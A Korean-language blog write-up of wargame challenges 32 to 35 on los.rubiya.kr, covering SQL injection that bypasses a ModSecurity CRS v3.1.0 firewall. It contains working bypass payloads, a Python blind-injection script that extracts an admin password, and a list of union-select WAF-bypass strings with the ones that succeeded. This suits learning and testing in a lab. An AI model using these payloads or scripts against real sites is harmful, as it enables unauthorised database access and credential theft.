[LOS] 32-35번 문제 풀이(cthulhu,death,godzilla,cyclops)

3 분 소요

💡 los.rubiya.kr 32-35번 문제에 대한 풀이입니다.

32번(cthulhu)

문제

image

풀이

이번 문제는 평범한 sql injection에서 waf의 필터링을 우회하는 문제입니다. 일반적인 방법으로 위의 쿼리문에서 인젝션을 수행한다면 pw에 '||1#을 입력하는데, 이 방법은 waf에 의해서 차단이 됩니다.

image

우회하는 방법은 정말 다양할텐데, 우선 제가 시도한 방법은 1을 그대로 입력하는 대신에, mod(3,2)이런식으로 입력을 해봤습니다.

image

일단 풀리긴 풀립니다. 하지만 본 문제에서는 Modsecurity 버전을 명시했으니, 해당 waf의 bypass기술을 검색해 봅니다.

다음은 modsecurity 깃허브 이슈에 올라온 내용으로, CRS v3.1.0의 bypass에 관한 이슈입니다.

https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/1181

그 중 다음과 같은 방식은 waf에서 제대로 처리하지 못한다고 합니다.

select id from test where id='-1'<@=1 OR {a 1}=1 OR '

우선 @는 변수를 선언할때 사용하는 값인데, 아래의 계산결과를 보면 알 수 있듯이 or 앞에는 null 값이 나옵니다.

image

그리고 뒷 부분 {a 1} -> 1이 출력되어서 1=1꼴로 검사를 합니다.

image

위처럼 문법을 섞으면 waf에서 필터링을 제대로 하지 못했습니다.

image

waf는 정규표현식 형태로 패턴을 db화 해서 탐지해 내기 때문에 이렇게 이상한(?)방식으로 1이나 다른 패턴들을 표현하면 탐지하지 못하는 경우가 생깁니다.

33번(death)

문제

image

풀이

이번 문제도 32번과 비슷합니다. 다른 점은, ' or 1#로 그냥 우회를 하면 맨위의 데이터가 admin이 아닌 guest가 출력되어서 추가적인 로직을 필요로 합니다. 다음은 32번에서 입력했던 내용을 그대로 입력한 값으로 guest가 출력되었습니다.

image

따라서 출력 순서를 바꾸기 위해서 order by 1을 입력해 주면 다음과 같이 문제가 풀립니다.

image

mod()함수도 waf가 필터링을 잘 못한다는 것을 알 수 있습니다…!

34번(godzilla)

문제

풀이

평범한 blind sql injection 문제입니다. 필터링을 우회하는 방법을 잘 생각해야 합니다.

우선 id=' or id='admin'# 을 입력을 해보니 당연히 필터링 됩니다. 우선 waf 특성상 admin이라는 단어가 필터링이 되어있을 확률이 높다고 생각해서 다음과 같이 왼쪽 2글자만 판단하도록 바꿔줬습니다.

id='|| left(id,2)='ad'#

image

이제 admin 데이터에 대해서 pw를 얻어내기 위한 blind sql injection 구문을 작성해야 하는데, 일반적인 구문은 다음과 같습니다.

id=|| left(id,2)='ad' and ascii(substr(pw,1,1))=97#

우선 너무 뻔한 패턴인 ascii(substr()) 구문은 사용하지 않고, 이번에도 left를 사용해 봅니다.

image

한번에 성공했습니다. 왼쪽 글자를 한 글자씩 찾으며 blind sql injection을 수행해 줍니다.

전체 코드는 다음과 같습니다.

import string
from urllib import response
import requests
url = "https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php"
cookies = {"PHPSESSID" : "595dl7ejl1io50mt9bhg0dbmpk"}
params = {"id" : None}

for i in range(30):
    payload = "'||left(id,4)='admi'&&length(pw)={}#".format(i)
    params["id"] = payload
    print(params)
    response = requests.get(url,params=params,cookies=cookies)
    if("Forbidden" in response.text):
        print("Forbidden")
        print(payload)
        break
    elif("Hello admin" in response.text):
        print("find the pw length",i)
        break

flag = ''
for i in range(1,9):
    for j in string.printable:
        payload = "'||left(id,4)='admi'&&left(pw,{})='{}'#".format(i,flag + j)
        params["id"] = payload
        print(params)
        response = requests.get(url,params=params,cookies=cookies)
        if("Forbidden" in response.text):
            print("Forbidden")
            print(payload)
            break
        elif("Hello admin" in response.text):
            flag = flag + j
            print("find the pw ",flag)
            break

실행 콘솔

{'id': "'||left(id,4)='admi'&&left(pw,1)='0'#"}
{'id': "'||left(id,4)='admi'&&left(pw,1)='1'#"}
{'id': "'||left(id,4)='admi'&&left(pw,1)='2'#"}
{'id': "'||left(id,4)='admi'&&left(pw,1)='3'#"}
{'id': "'||left(id,4)='admi'&&left(pw,1)='4'#"}

...

{'id': "'||left(id,4)='admi'&&left(pw,7)='a18a6cb'#"}
{'id': "'||left(id,4)='admi'&&left(pw,7)='a18a6cc'#"}
find the pw  a18a6cc
{'id': "'||left(id,4)='admi'&&left(pw,8)='a18a6cc0'#"}
{'id': "'||left(id,4)='admi'&&left(pw,8)='a18a6cc1'#"}
{'id': "'||left(id,4)='admi'&&left(pw,8)='a18a6cc2'#"}
{'id': "'||left(id,4)='admi'&&left(pw,8)='a18a6cc3'#"}
{'id': "'||left(id,4)='admi'&&left(pw,8)='a18a6cc4'#"}
{'id': "'||left(id,4)='admi'&&left(pw,8)='a18a6cc5'#"}
find the pw  a18a6cc5

image

35번(cyclops)

문제

image

풀이

35번 문제는 개인적으로 정말 삽질을 많이 했습니다…; 32,33,34,35번 까지 waf 우회문제를 풀면서 느낀점은 평소엔 sql injection을 할때 최소한의 데이터를 이용해서 풀려고 했었는데, waf 필터링을 우회하기 위해서는 정규표현식에 걸리지 않도록 같은 결과에 대해서 최대한 쓸데없는(?) 데이터를 덧붙여서 정규표현식에 걸리지 않도록 해야 했습니다.

이번 cyclops에서 사용된 쓸데없는 기술은 2가지 였습니다.

  1. id=’’ or 1 이렇게 하지말고, id=’’<@=1 or 1 이렇게 하면 어차피 앞부분은 false이지만, CRS v3.1.0에서는 뒷 부분을 판단할때 영향을 미친다.

  2. 공백을 그냥 쓰지 않고, /*asdasd*/ 이렇게 주석을 이용하여 공백을 해준다.

여기서 중요한 점은 1번의 내용을 처음에 사용하지 않고 union select 부분에만 신경을 써서 시도를 했을때는 되지 않았고, 1번의 내용인 <@=1 이 부분이 쿼리문에 들어갔을때 waf의 우회가 되었습니다.

그리고 이번 문제를 풀때는 구글에 waf union select bypass를 검색했더니, 여러 cheat sheet이 나와서 이 부분을 응용해서 쿼리를 작성해서 풀었습니다.

성공한 쿼리문들의 공통점은 union/**/select 처럼 공백 대신 주석을 사용하여 union select를 작성한 구문들 이었습니다.

해당 cheat sheet 내용을 포함한 python code는 다음과 같습니다.

#Union select Waf bypass list
import requests

bypass_list = '''/*!50000%55nIoN*/ /*!50000%53eLeCt*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
... 중략
...
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+'''
bypass_list = bypass_list.split("\n")

url = "https://modsec.rubiya.kr/chall/cyclops_9d6a565d1cb6c38a06a6b0815344e29e.php"
params = {'id': None}
cookies = {'PHPSESSID' : '595dl7ejl1io50mt9bhg0dbmpk'}

for bypass in bypass_list:
    payload1="?id='<@=1%20{}%20'first','second'%23".format(bypass)
    response = requests.get(url+payload1,cookies=cookies)
    if("CYCLOPS Clear" in response.text):
        print(payload1)    
<실행결과> : 성공한 쿼리 들 ``` ?id='<@=1%20%2f**%2funion%2f**%2fselect%20'first','second'%23 ?id='<@=1%20/*--*/union/*--*/select/*--*/%20'first','second'%23 ?id='<@=1%20/**/union/**/select/**/%20'first','second'%23 ?id='<@=1%20/**/uNIon/**/sEleCt/**/%20'first','second'%23 ?id='<@=1%20%55nion/**/%53elect%20'first','second'%23 ?id='<@=1%20/*union*/union/*select*/select+%20'first','second'%23 ?id='<@=1%20/%2A%2A/union/%2A%2A/select/%2A%2A/%20'first','second'%23 ?id='<@=1%20%2f**%2funion%2f**%2fselect%2f**%2f%20'first','second'%23 ``` 여러개의 답중 하나를 고르자면 다음과 같이 입력하면 문제가 풀립니다. ``` ?id='<@=1 /**/union/**/select/**/ 'first','second'%23 ``` ![image](https://user-images.githubusercontent.com/33647663/160249860-383d4495-2166-47f9-bbd5-619aa0a5a6db.png)

댓글남기기